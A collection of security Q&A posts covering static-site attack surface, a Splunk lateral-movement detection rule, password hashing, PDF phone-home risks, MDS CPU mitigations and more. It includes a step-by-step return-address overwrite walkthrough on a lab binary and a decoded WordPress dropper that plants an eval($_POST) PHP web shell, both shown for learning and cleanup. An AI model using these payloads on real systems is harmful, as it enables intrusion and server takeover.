Attack surface for a site that hosts only static content HTML and images? What kind of attack surface is there for a site that only hosts static content: HTML, images, CSS?   How can sites like this be successfully penetrated?

Even when there is no vulnerable web application, there is still plenty of other code which could be vulnerable.

The static content has to get onto the server somehow, for example via FTP or a password-protected web interface. The password for these might be too weak or these services might have other vulnerabilities.
The web server itself might have a vulnerability which still applies in this limited use scenario.
The operating system of the webserver might have vulnerabilities
Or the operating system might offer some form of remote login (like SSH on UNIX, RDP on Windows or VNC on either) which is insufficiently secured.
And then there is also physical access to the hardware of the server.


Windows Automated Explicit Logon Rule to detect Lateral movement I am referring to https://community.rsa.com/docs/DOC-54594 to work to detect Windows Lateral Movement Detection. There is a rule regarding Correlation Rule: Windows Automated Explicit Logon. It states the threshold count should be greater than 9. Is it compulsory? Doesn't even one automated logon entry raise a concern?

I think you are right, you'd want to log some of these all the time. 7045 seems to jump out to me. In comparison, this is the splunk rule:

index=windows   LogName=System  EventCode=7045  NOT
(Service_Name=tenable_mw_scan)  |   eval
Message=split(Message,".")  |   eval
Short_Message=mvindex(Message,0)
|   table   _Ome    host    Service_Name,   Service_Type,   Service_Start_Type,
Service_Account,    Short_Message

reference: https://conf.splunk.com/session/2015/conf2015_MGough_MalwareArchaelogy_SecurityCompliance_FindingAdvnacedAttacksAnd.pdf


Is it alright to tell everyone your encryption information? I have an account in an online banking system and they have the FAQ with something like this:

  How secure is the <Online Banking System Name>?

  Each page you view and any information submitted on <Online Banking System Name> is encrypted between the client's computer and the <Online Banking System Name> server using 128-bit SSL...

  Sensitive data is encrypted

  Sensitive data such as the client's <Online Banking System Name> password is encrypted using a one-way 160-bit hash cryptographic algorithm that turns an arbitrary-length input into a fixed-length binary value, and this transformation is one-way, that is, given a hash value it is statistically infeasible to recreate a document that would produce this value...

Does this make their online banking system more prone to malicious attack?

Is it alright to tell everyone your encryption information?

It's not just alright, it's actually a design feature of modern ciphers. The whole concept of cryptography is that you can freely publish the algorithm used, but must keep secret a specific piece of information, called the key.

  password is encrypted using a one-way 160-bit hash cryptographic algorithm

Encrypted is the wrong word here - this is not encryption; rather, it's hashing. Encryption is a reversible process where recovery of the data is the aim of the game. A hash function, however, is designed such that it is "one way", i.e. it is trivial to take a given input and produce the hash, but hard to go backwards.

If you think about it, this makes an awful lot of sense - the bank don't need to know your password; they only need to know that the person entering the password has entered the same one as you initially told them. So, by storing the hash of your password, they can compare future password inputs against that password and voila! They need not know the password, but they can check it.

Technically, they're on the right lines; 160 bits suggests an SHA1 or RIPEMD160 algorithm. However, if a simple hash is all they do, there is more they can do to improve security:

Use a salt value, ideally uniquely generated per password.
Use a slow hashing function such as PBKDF2.


Discover framebuffer address on unknown architecture? Recently I got running unsigned code through an exploit on an device. Now I would like to discover the framebuffer address so I could write to the screen and output data.

The only way I can imagine to do this is doing a for/while loop and write to every memory address until the screen gets drawed. When I say address I mean pyshicall address.

Is it the good way or are there any other methods to do this? At the moment I'm completely blind since I cannot output anything.

Thanks

If you see what is on the display or if you can even make the device show picture of your choice, you can guess the data that represent the pixels in the framebuffer. You just need to know the pixel format or try all the typical formats (RGB, BGR, RGBx, BGRx ...). Then you just scan the whole memory for the data you expect to find in framebuffer. Reading is much less destructive than writing and you don't need to observe if the display changed between writes.

Example: Let's say you know that at the moment of execution there is line of pixels containing black, black, white, black and white pixels in this order. Make your exploit scan memory for 000000 000000 FFFFFF 000000 FFFFFF. If you find a match, you may have found an address inside framebuffer and you can try to write to it to output on display. Obviously the longer the pattern is, the lower chance of false positives.


Get PGP Private Key from RAM analysis RSAKeyFind For an experiment, I'm trying to open a 2048-bit RSA encrypted mail on a image.
Using this fresh image, I made a memory dump and analysed the dump for RSA keys.

Now, several RSA keys have been found.

An example;

FOUND PRIVATE KEY AT 1048fb83
version =
11 8e 48 04 06 11
modulus =
02 01 00 02 02 00 02 03 00 02 04 00 02 05 00 02
06 00 02 07 00 02 08 00 02 09 00 02 0a 00 02 0b
00 02 0c 00 02 0d 00 02 0e 00 02 0f 00 02 11 00
02 12 00 02 13 00 02 14 00 02 15 00 02 16 00 02
17 00 02 00 e0 02 01 e0 06 20 03 08
publicExponent =
0e 08 00 04 08 0e 03 08
privateExponent =
04 06 11 8e 54 07 20 01
prime1 =
12 8e 40 0d 00 04 11 8e 48 1d 0e 1d 0e 1d
prime2 =
0e 09 00 02 11 8e 48 1d 0e 1d 0e 06 00 01 11 8e
48 08 07 00 02 02 1d 0e 1d 0e 05 00 01
exponent1 =
0e 0c 20 03 01 11 80 c8 11 80 c8 11 84 50 04 06
11 8e 5c 05 06 0f 11 8e 68 05 06 0f 11
exponent2 =
06 00 00 1d 12 8f d0 06 00 01 12 8e 60 08 06 00
00 0f 11 8e 68 06 00 00 0f 11 8e 6c 08 00 03 0f
05 0e 08 10 18 04 06 12 8e 70 05 00 00 12 8e 70
08 00 01 12 8e 70 12 8b 1c 07 00 01 0f 01 12 8b
1c 08 00 02 0f 05 12 8b 1c 0e 05 08 00 12 8e 70
04 0f 27 00 00 04 06 11 8e 78 05 00 00 12 8d c0
06 20 01 01 11 8e 78 05 20 00 11 8e
coefficient =
20 02 08 0a 08

How does one continue from here?

I got a encrypted OpenPGP message; and I need to decode it with my own private key.

I've read about CRT formats, etc. I'm looking to convert these RSA parameter values to a value that OpenGPG can read. (One block of text).

From the example you show, you don't continue far -- what is shown is not a valid RSA key pair, only something which superficially looked like one in the eyes of the tool you used.

Assuming you actually obtain a valid RSA key (you don't, apparently, but let's suppose that you find one), then your best bet would probably be to assemble the key with a small custom program invoking OpenSSL (the library) or Bouncy Castle. Or using the inherent capabilities of Java or .NET (both more or less know how to import and export private keys in PKCS#8 format).

I don't know of any good, easy to use ASN.1 DER encoding/decoding tools, except the ones I wrote (that was professionally, I cannot publish them as free software until I rewrite them from scratch, which I may do some day, but certainly not in the next few weeks).


Detecting and preventing 'phone home' behavior in PDF files I have received several PDF documents via email from someone I do not trust.  I need to read the documents and respond to them.  They are not encrypted.

I want to make sure the documents are completely safe.

I scanned them with multiple antivirus products.  No problems detected.

I am able to view them from within my webmail, but I want to download them and view them directly and keep them for my records.

I am concerned that if I open the files in a PDF reader/viewer/editor, the documents may have something in them that will try to connect to a server to send a 'ping' indicating that I have opened the document.

Is it possible for a PDF document to do that?  If so, how do I determine if any of these documents are set to do that?  Also, besides disconnecting from the internet, how do I prevent it?

Is it possible for PDF documents to dial home?

Yes it is, at least with Adobe reader products (see here):

  In addition to visible links in a PDF document, form fields can contain hidden JavaScript calls that open a page in a browser or silently requests data from the Internet.

How can I tell if a particular pdf does this?

I'm sure there is a way to do this, but I do not know what it is.  Possibly the adobe pdf reader would show you what features a particular document uses, but I don't use them so I don't really know.  I would argue that the more important question is...

How do I protect myself from a PDF file calling home?

First, I should say that anti-virus scanning is NOT the way to do this.  For one thing, "dialing home" is not a virus in a pdf, it's just use of a "legitimate" feature.  For another thing, virus scanning is something of a broken security model: a new virus will make it past the scanners every time.

Fortunately, it is possible to disable a number of options such as web links and JavaScript using Reader's preferences (see here for instance, note that the Adobe term "links to the Internet" does not refer to usual hyperlinks like the web has, but actual connections).  You probably want to permanently disable internet access and JavaScript: very seldom do you need these features, and they just expose potential problems.

Practically speaking, this is really all you need to do to keep yourself safe.

However...

There have also, over the years, been vulnerabilities discovered in various pdf viewers, making it possible for a specially crafted pdf to do nasty things like execute arbitrary code.  There are ways to mitigate this as well: modern versions of adobe reader have a built-in sandbox that you can enable, see here.

Presuming you are running on a system that you keep patched, this is probably not a huge risk.  If you need to make extra extra sure, using a virtual machine (like VMWare or VirtualBox).  I would suggest this procedure:

Create a virtual machine and install pdf reader software on it
Set up a shared folder between the host machine and the virtual machine
Use this shared folder to copy the pdf files to the virtual machine.
Shut down the virtual machine, disable it's network and the shared folders
Take a snapshot of the virtual machine's hard disk state
re-start the virtual machine and view the pdf files.  Since the network and shared files are disabled, there should be no way for anything nasty in the pdf files to get off of the virtual machine.
when you are finished, shut down the virtual machine, and roll back it's state to the checkpoint.  Now anything bad that the pdfs might have done to our virtual machine is gone.

However...

All that being said, it might theoretically be possible for there to be flaws in the vitualization software allowing something extra extra nasty in the pdf file to escape.  We were in the realm of extreme paranoia with the virtual machine, IMHO, and we're WAY over the edge now, but for the sake of completeness, an airgapped physical machine would be an even more secure option.

(As Deer Hunter's comment suggests, using physical hardware that is not connected to any network which you destroy afterwards would be even more secure, though we're getting exponentially more paranoid by the minute).


Problems with overflowing the return address on stack x86_64 To note before compiling the program I disabled ASLR via:

$ sudo -i
root@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@laptop:~# exit
logout

I then compiled the program via:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(I also didnt understand the -mpreferred-stack-boundary=4 parameter)

I have a program :

The overflow in theory should occur when the compiler gets to the line of gets(buff); where I have been attempting to overflow the return address ($RIP).

Below is the disassembly of my main method, getInput() and sayHello() (for the purpose of showing the address of the sayHello method, 0x4005d, which I hope to overwrite the stack RIP with).

When I give an input of above 15 x A's I segfault the program. And when I provide more than 24 x A's I begin to overwrite the $RIP, i.e. 25 x A's would make the RIP value 0x0000000000400041. Logically, I tried to then provide the hex values for "4005dc" (sayHello() address) however I fail when attempting that. When using online hex to text converters, the corresponding text value I get from "4005dc" is "@Ü".

More so I understand that when the program reached the retq instruction within getInput() it will pop the return address of the top of the stack and jump to it.

x86 SOLUTION ONLY: (see comments)

If I got your task right, you have to overflow the function pointer for sayHello.

Hence, the first task is to identify that functions address.

nm test | grep sayHello

In my case this was the result

0804844b T sayHello

So I have to overwrite the return address (RET) of getInput() with 0x0804844b. Now you can either identify via gdb how far away from RET the buffer buff is located. I have chosen a different approach, since it was quite obvious what range it will be. Therefore my next step was to identify the amount of data to put into buff to over write RET. This is done using the following command which will enter a string of 'A' repeated 28 times when the program waits for input (gets()):

perl -e 'print "A"x28' | strace -i test

and looked for such a line to appear in the end:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Next, I have reduced the number of 28 to 24 and printed four times B to see whether the address in the output above changes to [42424242] - it didn't, so I reduced 24 to 20 and checked again.

perl -e 'print "A"x20; print "BBBB"' |strace -i  ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

The last step is to replace BBBB with the address (little-endian).

perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' |  ./test

and the output was:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

I have successfully overwritten RET with the address of sayHello().

With that off the chest, let's have a look at your compilation string question.

-mpreferred-stack-boundary=4 man gcc is very helpful here. You tell gcc with this parameter to keep the stack boundary aligned to 2^4 (16 Byte). If you want to have it at 16 Byte, you can leave the parameter since this is default.

However, I have also used the parameter -fno-stack-protector. With this I tell the compiler to not add extra code for checking buffer overflow. If you leave that out, you won't be able to exploit your test binary.


Is a Windows XP virtual machine with no network connection safe from hacking? If I install Windows XP as a Virtual Machine with no network connection, is it safe from being hacked?  My main OS would be Windows 8.1 with internet.

No - because your VM is inside a machine connected to the Internet it is not safe.

It is protected, yes, but that protection is only as good as the protection the host machine provides.

An attack could compromise the host machine via its connection, subvert the hypervisor and compromise your VM. Read this question and others in the Related sidebar to the right.

The only way to make a machine "safe" from being hacked is to have no Internet connection, no ports, no USB, no hard drive, no keyboard...in fact you'd need to unplug it, remove its RAM, bury it in concrete, etc...

This is the reason for a lot of the clarification around "safe" - you can make a machine sufficiently safe for what you want to do with it. It would require a lot more detail than your question provides.


Can "remember me" be done securely on an accountless website? I have a website that lets users submit a form without having to create an account and log in.  However, in order to keep users accountable for their submissions, the form requires them to provide their school-issued email address (which follows a known, constant pattern and can be used to derive the user's real name).

The process currently looks like this:

The user submits a form with his email address and the main content he wants to submit.  Both are stored on the server.
The site sends a confirmation email to the user at the address provided in the form submission.
The user clicks the confirmation link in the email, signaling the application to process the form's main content.  (If the link is not clicked within a certain timeframe, the form's main content is purged from the server.)

Over time, this may grow inconvenient for frequent visitors.  I would like to implement a "remember me" checkbox that caches the user's confirmation.  With this implemented, after successfully confirming a submission once, subsequent submissions within a given timeframe would not require email confirmation at all.

The top priority is that users must not be allowed to submit things in each other's names.  I don't want to implement this convenience unless I know it can be done without violating that priority.  Can this be securely pulled off?  If so, how?

Depending on the type of submissions you are accepting your site would strike me as having a serious security flaw because you accept submissions without authentication. If Bob knows Alice's email address he could submit data in her name, so you cannot trust the source of any submission. Although you send a confirmation email many people (and I'm assuming as you are talking about a school it's young people) would probably click the email without a second thought. As a parent I'd be concerned if my kids' school had a system like that.

As for whether it is safe, the question is safe from what? Why would you be concerned about protecting an email address which anyone could guess if they know the email address' naming convention?

EDIT:
If all you want to do it make it so a system remembers an email address just use a cookie, that will remember data for specific users, so it would work on shared equipment. Or you could simply tell the browser it's an autocomplete field, same effect. I'd keep in mind that kids share their computers often, it may more advisable to make them type it in every time so friends don't end up submitting in each other's names.


Is IP geolocation threat intelligence? If the suppliers of your business are all located in North America, but your supplier web portal suddenly receives a lot of traffic from elsewhere, you should investigate. Therefore, IP geolocation data sounds like threat intelligence to me. However, the term threat intelligence usually refers to file hashes of malware, IP adresses of command&control servers, etc. but not to geolocation data for IP addresses. What do I miss?

"Threat Intelligence" has to have "threat" as a context. A piece of data is just that: data.

The wiki page links to the CERT-UK's paper on the subject and defines threat intelligence as:

  [It is] evidence-based knowledge, including context, mechanisms,
  indicators, implications and actionable advice, about an existing or
  emerging menace or hazard to assets that can be used to inform
  decisions regarding the subject's response to that menace or hazard.

[quoted from: https://www.gartner.com/doc/2487216/definition-threat-intelligence]

So, just having the geo-location info is the same as having the IP: it's a piece of data. There is no particular relevance to the data, so it is not "threat intelligence". If it was known that major attacks were happening from a particular location (as has happened with Chinese Army attacks coming from known military locations and the IP geo-location data pointed there directly) then that context makes this particular piece of data "threat intel".

Just because the geo-ip data is odd for you in this instance does not make the area of knowledge called "geo-location" threat intel. But I'm not sure why one would require that the data be classified this way.


Why would a website want to know what operating system you are using? As per this question, websites can learn what operating system a client is running by examining the HTTP headers. There are some addons that prevent this from working. What is a legitimate use of this, aside from targeted marketing?

One obvious answer is when the website contains applications that you can download - it can then offer the content appropriate for your operating system. If I go to www.videolan.org with Javascript turned off, the download link goes to the Windows binary, but if I turn Javascript on, it goes to the appropriate binary for the system I'm actually using.


Could someone help me deobfuscate this malicious script code Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the fly projects using Wordpress in the past. Those sites were neglected and the burden of maintenance fell on me - I don't mind though, it's entry position and I learn a lot on daily basis. I scanned the site using WordFence, wrote some clean up scripts, changed all the passwords, deleted forced admin user (yeah, it got that far), scoured through DB, tightened upload directory security ... While cleaning the site google tagged the site for malicious content (nasty big red warning). After complete clean-up I've sent request for rescan and warning flag was removed. Source of infestation was a fake plugin (no idea who or why installed it), needles to say it was deleted with the rest of infested code.

Since then business was as normal as Wordpress allows it. We're still having a lot of brute force attempts; I can imagine domain was added to some "black-hat registry", but that's ok, since passwords are mighty tight and I've set attempt limit plus consequent IP ban.

Well, today I got a notice from WordFence about infested file. My blood pressure rose like a helium filled balloon. After investigation I found out it was a single file:

wp-content/cache/meta/wp-cache-d5959f8ceb4b5dc5c5a03125b3d61348.php

And nothing else was impacted, it would seem. But I can't be sure until I know what this file was trying to achieve. Could someone take a look and maybe provide a link to resources describing how is it possible for anyone to upload this piece of ... unwanted code. Am I dealing with fake plugin again? I've cleaned everything and sealed the backdoor :(

http://pastebin.com/iv45rV9J

I've changed domain to www.somedomain.com.

Sorry for the long intro, just wanted to clarify my position and dismiss assumptions about any alternative motives - seen it happen to someone else asking similar question without any background information.

You seem to have malicious web content there.  It might be useful to spend some time learning about cookies and PHP.  This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

"/configurationbak.php"
"/"

Probably the second file works out to be index.php.  I would check for malicious content in those two files.  In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data.  When you decode the GET string using a tool like URL Decoder, you get the following:

  "uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo
  '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo
  '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo
  '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo
  '|<-';"

There is some further obfuscation here.  The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

  "<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

This looks like some sort of clever WordPress exploit that recursively convinces your web-page to run the hacker's code so they can access your PHP interpreter.

To be safe, you should delete this file and be on the look-out for extra PHP files created by exploits like this one (i.e. configurationbak.php).


Should I use a firewall even though I am on a private vlan inside a data-center? Working on setting up some new infrastructure and I want to configure everything so that it's as secure as it needs to be, but I don't want to worry too much about adding additional unneeded complexity. Is it a good idea to firewall off private network traffic on the private interface with the data-center, or will this do no good?

The one reason I can think this would be nice is to mitigate damage, if a user gets into one server we only want them to be able to stay there and not SSH into other related servers.

It seems you've mostly answered your own question. The only protection a firewall can give, on an isolated network, is from computers/users of the same network. Your firewall won't protect you from Internet hackers - the isolated nature of your network already does that.

What it will protect you from is malicious users or software installed on other systems within your isolated network. As you say, this can help prevent a user on one system from connecting to other systems via SSH. It will also help protect you in the case that one of your systems gets infected with a worm which tries to automatically propagate across the network.

For the highest security, you want your systems and users to be restricted so that they are only capable of performing actions which are absolutely necessary to fulfilling their business function. Firewalls are an essential tool in implementing these restrictions, even on isolated networks. However, it is up to you to decide if the risk (e.g.: of malicious users on the network, or another system being infected with malware) is really high enough to warrant the added complexity and administrative overhead of using that tool.


Does streaming a game from a dedicated gaming VM still expose my PCs to significant privacy/security concerns from installed games? So the plan is to make a Windows 10 guest, give it lots of vCPUs and memory, perform GPU passthrough to achieve maximal performance, and then load my games onto this guest. The aim of this would be to stream the games over LAN to my PCs, thus providing easy access while also putting all games on a single box that has no personal files on it.
As games can include tracking or other invasive anti-cheat as well as vulnerabilities like any software, I feel that they should be placed on an unprivileged system. However, the most secure method of using a restricted VLAN that has dedicated clients for said gaming (with ACLs blocking any of those devices from talking to anything else in the building) would be rather annoying in terms of convenience and resources.
As such, my question boils down to if the plan proposed in paragraph 1 is sufficient or if streaming of a gaming server still opens the entire network to considerable risk (as there's always some risk).
The reason for the specificity of this question is that games are a unique threat model for me, as they are not critical by any means but at the same time do not clearly need to be as isolated as traditional DMZ devices (e.g. webservers).

The most obvious inroad: The passthrough GPU has full access to main memory for DMA operations, mediated by the IOMMU, and to other PCIe devices in the same domain.
The GPU can emit "translated" memory access requests that bypass the IOMMU translation (as the addresses used are already assumed to be translated), whether that is actually implemented in existing GPUs is something I don't know straight away.
Whether the IOMMU still performs access control checks for translated requests depends on the chipset, but my expectation would be "no", as the point of having address translation inside PCIe devices instead of the IOMMU is to distribute the TLB -- performing access checks would reintroduce the same bottleneck that virtualization awareness in PCIe devices was built to avoid.
Depending on your chipset, it may be possible to disallow "translated" PCIe requests entirely, then at least the GPU would be limited to memory allocated to the VM, but access to other devices remains open.
These scenarios require determined attackers though. Unless you are specifically targeted, I'd expect that the isolation is sufficient to protect your system against the typical invasive software, because while VM breakout is possible for invasive software, actually doing something with this access requires analysis of the outside system.
The biggest threat here would likely be ransomware, but the effort/reward balance for ransomware that sophisticated is not on the side of attackers.
The thing I would expect from anti-cheat software though is that it attempts to detect virtualized environments, and flag them as untrustworthy straight away.
Hiding virtualization completely is difficult, and this is likely to become your biggest problem in this endeavor.


What are the new MDS attacks, and how can they be mitigated? Several new hardware side-channels were discovered called MDS attacks, which allow reading arbitrary memory, like Meltdown. Many existing mitigations are useless against them. The relevant CVEs are:

CVE-2018-12126 - Microarchitectural Store Buffer Data Sampling (MSBDS)
CVE-2018-12130 - Microarchitectural Fill Buffer Data Sampling (MFBDS)
CVE-2018-12127 - Microarchitectural Load Port Data Sampling (MLPDS)
CVE-2019-11091 - Microarchitectural Data Sampling Uncacheable Memory (MDSUM)

A bit more information is given on CPUFail, Linux documentation, and a RedHat blog post.

My current understanding is that the microcode update changes the behavior of the obsolete VERW instruction so that it causes a flush of various internal processor buffers, and that the software update (in Linux at least) causes the OS to issue this instruction at any context switch (e.g. entering and exiting syscalls). CVE-2018-12130 (MFBDS), however, cannot be mitigated this way because the buffer is shared between logical (but not physical) cores. It is necessary to disable SMT (Hyper-Threading).
CVE-2018-12130 (MFBDS) can only be partially mitigated by disabling SMT, according to an in-depth blog post. Some information can still be leaked through a context switch during syscalls. Are microcode and software updates described above, in addition to disabling SMT, sufficient to completely avoid it?
Finally, is installing the latest microcode and operating system update and disabling SMT sufficient to completely mitigate all of these newly-discovered microarchitectural attacks, including ZombieLoad?

My current understanding is that the microcode update changes the
behavior of the obsolete VERW instruction so that it causes a flush of
various internal processor buffers

The new behavior of the VERW instruction is described in this article. In particular:

The VERW instruction retains the same existing functionality, i.e., it checks whether the specified segment is writable from the current privilege level.
Only the memory-operand variant of the instruction is guaranteed to overwrite the buffers exploited by MDS. The register-operand variant may or may not perform the buffer overwriting functionality.
The buffer overwriting functionality occurs regardless of the result of the segment write permission check (including an exception).

The VERW instruction execution by itself does not prevent later instructions from being executed before all of the MDS-affected buffers are overwritten. Therefore, it's necessary to place a serializing instruction (Intel calls a speculation barrier) after VERW. Consider the example from the same article:
Code region A (victim accessing secret data)
VERW m16
Code region B (victim accessing data that is not secret)
Speculation barrier (for example, LFENCE)
Code region C (the attacker can only see the data accessed in B)

Assume that these instructions are being executed on a processor with the MD_CLEAR microcode update (discussed below). The execution of A may leave some secret in-flight data on the same physical core. When VERW begins execution, B may execute before all the leaky buffers are overwritten. A barrier, such as LFENCE, need to be placed after B to ensure that C cannot access the secret data.
The VERW instruction is not supported in real mode and virtual-8086 mode because segment access permissions are not available in these modes. Therefore, in these modes, a sequence of instructions, which depends on the microarchitecture, needs to be used instead.
The following characteristics of VERW explain why Intel chose to overload that instruction with the buffer overwriting functionality (instead of any other instruction or introducing a new MSR):

VERW is microcoded, which is probably necessary for a microcode update to work.
VERW is rarely used, so the resulting performance overhead is practically insignificant on existing software.
VERW can be executed at any privilege level. In particular, it can be used in cases where the security boundaries are in user mode (e.g., SGX and sandboxes).

VERW is not perfect though. As already said above, it doesn't work in real mode and virtual-8086 mode. It also modifies the ZF flag.

CVE-2018-12130 (MFBDS) can only be partially mitigated by disabling
SMT, according to an in-depth blog post. Some information can still be
leaked through a context switch during syscalls.

There are two cases that need to be considered separately:

The attacker and the victim never run on two threads of the same physical core at the same time. This can occur when HT is disabled or when the OS scheduler decides to run the threads on different physical cores at the same time (because, for example, the threads have different physical core affinities). Either way, the threads may still run on the same logical core at different points in time. An MDS exploit can still be successful. The only way for the attacker to run on the same logical core as the one the victim runs on is when the victim switches to kernel mode (e.g., system call or hardware interrupt), and the attacker gets scheduled to run next on the same logical core. Therefore, the kernel can fully prevent the attacker from exploiting the internal CPU buffers by executing the VERW instruction before returning to user mode (to run next whatever thread is scheduled on that logical core). This also ensures that the buffers contain no memory requests from the kernel when returning to user mode. Similarly, VERW needs to be executed when switching between two virtual machines on the same logical core.
The attacker and the victim may run concurrently on the same physical core. The Linux kernel documentation on MDS mentions that HT needs to be disabled for full protection to prevent this particular situation from occurring in the first place. The Intel article on MDS, however, proposes an alternative mitigation called group scheduling. The idea here is to ensure that two threads are scheduled to run on two sibling logical cores only if they mutually trust each other. The Hyper-V hypervisor already employs group scheduling (and it has been recently updated to use VERW when switching between virtual processors that belong to different VMs). During the execution of VERW (or the alternative software sequence), the sibling logical core must be quiesced (e.g., execute HLT or PAUSE) to ensure that all the buffers get overwritten.

The aforementioned mitigations (overwriting the MDS-affected buffers when returning from the kernel or when switching between VMs, disabling HT, and group scheduling) cannot protect sandboxed applications (in a web browser) and SGX enclaves, where there is no switching between privilege levels. One possible mitigation for sandboxed apps is using processes instead. SGX enclaves are protected by the microcode update itself.
The MD_CLEAR microcode update seems to include the following changes:

New functionality to the VERW instruction as discussed above. Only the buffers that are vulnerable on each particular processor are overwritten, so the impact of VERW on performance depends on the processor.
When entering or exiting an SGX enclave, the MDS-affected buffers are overwritten. However, on the entrance to the enclave, it must be ensured that no untrusted thread runs on the sibling logical core.
When exiting system management mode (using the RSM instruction), the MDS-affected buffers are overwritten. However, on the entrance to SMM mode, the SMM software must ensure that no untrusted thread runs on the sibling logical core.
The RIDL paper in Section IX mentions that "The updated microcode also flushes these buffers when flushing the L1 cache." I think this refers to the IA32_FLUSH_CMD MSR, where setting the bit at index 0 to 1 causes the processor to writeback and invalidate the whole L1D cache. This is referred to as the L1D_FLUSH command. It also overwrites all buffers that are vulnerable to MDS.

The following processors are not vulnerable to any MDS attack, but are vulnerable to TAA:

Whiskey Lake (steppings 12 and 13 only)1.
Coffee Lake Refresh (stepping 13 only).
2nd Gen Xeon Scalable Processors (steppings 6 and 7 only).

Microcode updates that are similar to MD_CLEAR also apply to these processors to mitigate TAA. Therefore, VERW has a performance penalty on these processors as well (and it's buggy according to erratum CLX38).
For some processors, Intel has released multiple versions of the MD_CLEAR microcode update to fix bugs in earlier versions.
There are processors that are vulnerable to both MDS and TAA. These include Coffee Lake Refresh (steppings 10, 11, 12 only), Whiskey Lake (stepping 11 only), 2nd Gen Xeon Scalable Processors (stepping 5 only), and earlier down to and including Haswell. On these processors, the MDS mitigations also work for TAA. There are processors that are only vulnerable to MDS and not TAA, which include some of the those that don't support TSX.
Ice Lake, Goldmont, Goldmont Plus, Tremont processors are the only modern Intel processors that are not affected by both MDS and TAA and retain the legacy behavior of VERW.
In this Intel article, the performance impact of the microcode update and OS patch (to use the VERW instruction) appears to me to be significant (over 5%) for some benchmarks. There is also a list of FAQs at the end where Intel recommends against disabling HT, which makes sense.
Section E of the RIDL paper mentions that the authors were able to leak physical addresses from the page walking hardware of the MMU (page walks go through the LFBs). I've not seen any proposed mitigations for this attack.
Some recent processors include hardware mitigations for all of the four MDS attacks. This can be checked using the following sequence of commands:
sudo modprobe msr
sudo rdmsr -p 0 0x10A

The first command loads the msr kernel module and the second command reads the value in the IA32_ARCH_CAPABILITIES MSR. If the sixth bit (bit at index 5) is 1, the processor has hardware mitigations for all MDS attacks, and so all of the mitigations discussed above are not needed. This bit is called MDS_NO. Otherwise, the processor has no hardware mitigations for at least MSBDS, MLPDS, and MDSUM. Note that if the IA32_ARCH_CAPABILITIES MSR itself is not supported, then the processor definitely has no hardware mitigations for all MDS attacks.
For discussion on how MFBDS, MLPDS, and MDSUM work, see: About the RIDL vulnerabilities and the “replaying” of loads. For discussion on how MSBDS works, see: What are the microarchitectural details behind MSBDS (Fallout)?.

Footnotes:
1 I'm not aware of any released Whiskey Lake processors with stepping 13. This could be an error in Intel's list, or it could be that Intel decided to not release these processors.


Could my computer be infiltrated if someone knows my external IP? Could my computer be compromised if someone knew my external IP? I know that when you type that in it just goes into the router page, but my computer is connected to said router.

If so, what is the attack vector? How can I protect myself?

Your external IP isn't technically your machine's external IP, it's your router's external IP. So your machine wouldn't directly be the target of any attack: your machine doesn't have an external IP.

Instead, attacks would be targeted at your router. The success on that front depends on your router. Some are quite secure, some are known to be horribly broken. Search for your router's product name online to see what people have to say about it.

If your router can be broken, then the attacker could use it as a stepping-stone to get to your computer and all other computers on the network.

Another possible vector is forwarded ports. If your router is configured to forward traffic on a specific port to your computer (either manually configured by you or automatically configured through UPnP), then any attacks that use that specific port will be forwarded to your computer as well. If your computer is running a vulnerable service on that port, then that could prove problematic for you.


Network administrator knowing all user passwords Whenever it is time to change passwords, each user in our office has to provide our new password to the IT department and they change it & store it. Can you provide something that details why this is a bad firm policy?

Windows Server 2012; Users have Windows 7 Professional on desktops

This means that the IT department is liable for the knowledge of those passwords. Anything that happens on the network can no longer be attributed to the user, but now it could be the user or anyone in the IT department or anyone with access to the password store.

IT should not want that responsibility.


How to manage Cisco ASA series without management cable? How can I manage my Cisco ASA device without the management cable?

I have not set it up at all, but I have physical access to it.

You may be able to manage the ASA without a console cable if the ASA's inside interface is configured to be on a network, you can access that network, you can find its IP address, and you can guess the login credentials. This being a lab you have a better chance of guessing the credentials as they may be kept simple.

If that doesn't work then there's no other way to access the device without a console cable. If this is a lab I'd be very surprised if there wasn't a console cable somewhere. If the problem is you don't have a serial adapter for your laptop/tablet/whatever then you can run a roll-over cable from the aux port of a cisco device you can access to the console of the one you can't, configure the aux port as a serial out, you can then telnet to a local IP on that device to the aux port, and console in that way.


How to redact HTML so it does not end up in PDF I'm trying to create a redacted, printer-friendly version of a web page.  I'd like the user to have the option of converting this printer-friendly page to a PDF and emailing it to someone else.

My research indicates that the best way to redact data from any kind of electronic document is to remove it.  In my case this isn't possible.

Next I've seen several posts that suggest using CSS to display the text as black squares, etc.  I'm thinking of using display:none so that the text just isn't rendered.

Finally to my questions:  If I use CSS to hide the redacted text somehow, will this text still be included in the PDF and could a knowledgeable Adobe User access that data?  Or is there another method I should try?

You can use a HTML parser like BeautifulSoup to programmatically remove HTML tags or replace them with tags such as
~~~~~~~~~~
 and add a redacted class to your stylesheet with black text and black background, or just put display:none. Note: replace the redacted information with junk data  - this is key!

Edit: using display:none won't work because a user could just look at the raw HTML. Just replace it with junk characters and stylize them to your needs.


